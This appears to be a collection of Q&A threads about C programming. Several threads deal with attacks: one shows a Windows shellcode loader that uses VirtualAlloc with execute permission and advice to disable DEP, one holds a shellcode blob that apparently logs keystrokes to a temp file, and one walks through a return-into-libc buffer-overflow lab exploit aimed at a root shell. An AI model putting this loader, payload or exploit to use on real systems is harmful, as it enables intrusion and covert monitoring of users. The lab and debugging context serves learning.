I encounter a problem when I try to execute a shellcode in C, (a basic reverse_tcp, pointing to a local address).
I started from the basics with the following code:
#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char * argv[])
{
unsigned char shellcode[] = \
"\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
"\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
"\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
"\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
"\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
"\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
"\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
"\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
"\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
"\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
"\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
"\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
"\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
;
int(*ret)() = (int(*)())shellcode;
ret();
}
return 1;
}
(I cut the shellcode for the example)
when I compile this .c file with visual studio community 2017, I get a few warnings about argv and argc that aren't used, and conversion from () to (void) in ret.
Then I try to execute the file, and i get an awesome "has stopped working".
So I launch the debug in visual studio,and here is what i get:
So this is an access violation error, but why? I searched on google, and it seems that this error can have many causes, but I can't figure why it happens to me.
You normally can't execute code in the .data section of an executable on Windows. The access violation occurs because you're trying to run code that isn't executable.
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366553(v=vs.85).aspx
This is because .data section in PE is allocated without execute permission. Try this and disable DEP in linker settings if set
#include <Windows.h>
int main()
{
const char shellcode[] = ".......";
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)(); ...
Related
Here's the code I wrote.
#include <stdlib.h>
#include <stdio.h>
int main(void){
printf("hello World.");
return 0;
}
This is the error message
Execution of '"C:\Users\Happy Birthday\Desktop\Coding\C++\C_C++ project\simple program.exe"' in 'C:\Users\Happy Birthday\Desktop\Coding\C++\C_C++ project' failed.|
I figured it out. I had to go to the location of the bin for MinGW, copy and paste its address into the Toolchain executables tab of the global compiler settings, as opposed to auto detecting it.
If I execute the following code, it´s prin this stack dump error message:
1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack trace to MyProg.exe.stackdump
after it prints
Shellcode length: 601
Can you say me, what I should change, to get it working?
I have compiled it with Sublime Text and cygwin on Windows 10 64bit.
This is the code:
#include <stdio.h>
#include <string.h>
const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
This: (*(void(*)(void))&sc)();
You're taking a pointer to the first element of a const char[], casting it to a function pointer and attempting to execute that function.
I can't honestly imagine that ever succeeding.... the only way I can think of to 'get it working', since I have no idea what your intention is, is to not cast const char pointer and attempt to execute it as a function.
If you just want a pointer to a function, this is easy:
void sc (void)
{
// do things
}
int main (void)
{
void (*fptr)(void);
fptr = sc;
fptr();
}
I generated a new Xcode project in C and immediately looked at the assembly that it produces.
Here is the C code:
#include <stdio.h>
int main(int argc, const char * argv[]) {
// insert code here...
printf("Hello, World!\n");
return 0;
}
The assembly code is almost 400 lines. This seems like a bit much...
Can someone explain why this is?
Also what compiler does it use anyways?
This is a two part question:
a)I am working with a Return-into-libc attack and not getting a root shell for some reason. I am supposed to take a vulnerable program: retlib.c.
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
I am using my exploit: exploit_1.c
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
*(long *) &buf[16] = 0x40076430; // system()
*(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}
I found the addresses of system and exit using gdb:
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb)
I found the /bin/sh address using the myshell.c program:
//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
Than using the commands:
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ ./myshell
bffffe86
I feel like I have done everything right, but I keep getting a "Segmentation fault (core dumped)". I am using no -fstack-protector, chmod 4755 and ASLR turned off. Any thoughts on what is wrong?
b) I am also working with retlib-env.c:
/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
char* shell=getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
badfile = fopen("badfile", "r");
//system(shell);
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
This seems to me to be similar to part a, but "In this example, the vulnerable program retlib-env.c will reference MYSHELL environment." I don't know what I need to add to my exploit to make it work. Any hints or nudges in the right direction would be really helpful. I have MYSHELL, but i'm not really sure how I need to reference it to exploit the retlib-env.c. Shouldn't it be pretty similar to part a?
Probably the addresses of functions system(), exit() etc change at every program invocation. You cannot rely on loadng the pogram, degbugging for these addresses, closing the debug session and running the program again as the perogram may have been loaded at a completely different starting address the second time.
$gdb -q retlib
You need to find system and exit address of retlib not exploit. Exploit only prepare a exploit file. Retlib reads this file till buffer overflow. As far as I know the system address segment should start 12 after the buffer that means it will be buf[24].
The length of the program's name will influence the address of the environment variables in the stack. To get the correct address of string /bin/sh, you should keep the length of the program to search /bin/sh (i.e. myshell) equals the length of your final attack program (i.e. retlib).
Besides, you need to find out the return frame address which is supposed to be 4 plus the distance between ebp and &buffer in bof, which is supposed to be 20+4=24 rather than 16 in your code. You can verifiy it by gdb on the program compiled with flag -g.
I'm trying to write my own code to walk the PATH to find an executable as a learning exercise in C programming. (after sucess I might replace it with someone else's code, but for now I want to understand my mistakes).
The following section of code is not jumping to the else statement I expect ...
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define EXECUTABLE S_IXOTH /* executable by others */
#define MAX_PATH_LEN 1024
void message (const char *msg)
{
fprintf(stdout, "INFO: %s\n", *msg);
}
int main (int argc, char *argv[], char *envp[])
{
char *editor;
struct stat editor_stat;
char full_path[MAX_PATH_LEN];
int found_path;
memset(full_path,0,MAX_PATH_LEN);
strcpy(full_path,"/bin/ed");
found_path=stat(full_path,&editor_stat);
if (found_path!=0) {
editor=NULL;
message("The EDITOR specified is not found in the PATH. Using default editor");
} else {
if (editor_stat.st_mode&EXECUTABLE==0) {
editor=NULL;
message("The EDITOR specified must have world execute permission. using default editoe");
} else {
editor=full_path;
}
}
}
When I track it with gdb I see it jumps to the 2nd else instead of the first one, and doesn't execute the check for executable ...
(gdb) file /tmp/sample2
Reading symbols from /tmp/sample2...done.
(gdb) b 28
Breakpoint 1 at 0x400688: file /home/ken/c/shorter_sample.c, line 28.
(gdb) r
Starting program: /tmp/sample2
Breakpoint 1, main (argc=1, argv=0x7fffffffe1f8, envp=0x7fffffffe208)
at /home/ken/c/shorter_sample.c:28
28 if (found_path!=0) {
Missing separate debuginfos, use: debuginfo-install glibc-2.13-2.x86_64
(gdb) p found_path
$1 = 0
(gdb) s
36 editor=full_path;
(gdb)
it should jump to line 32 not 36.
I've tried searcing here for C ambiguity and I've read the sections from "C" by Kernighan & Ritchie that are referenced in the index under C ambiguity, and stuck as many curly braces as I can in the code but the compiler isn't doing what I intend.
FYI, I'm using gcc-4.5.1-4.fc14.x86_64 with kernel 2.6.35.14-106.fc14.x86_64 on Fedora 14.
& has a lower operator precedence than ==; that means the second if statement is equivalent to:
if (editor_stat.st_mode&(EXECUTABLE==0))
I'm going to go out on a limb and say EXECUTABLE is not 0, which makes the if equivalent to:
if (editor_stat.st_mode & 0)
or
if (0)
The second if statement should be:
if ((editor_stat.st_mode&EXECUTABLE)==0)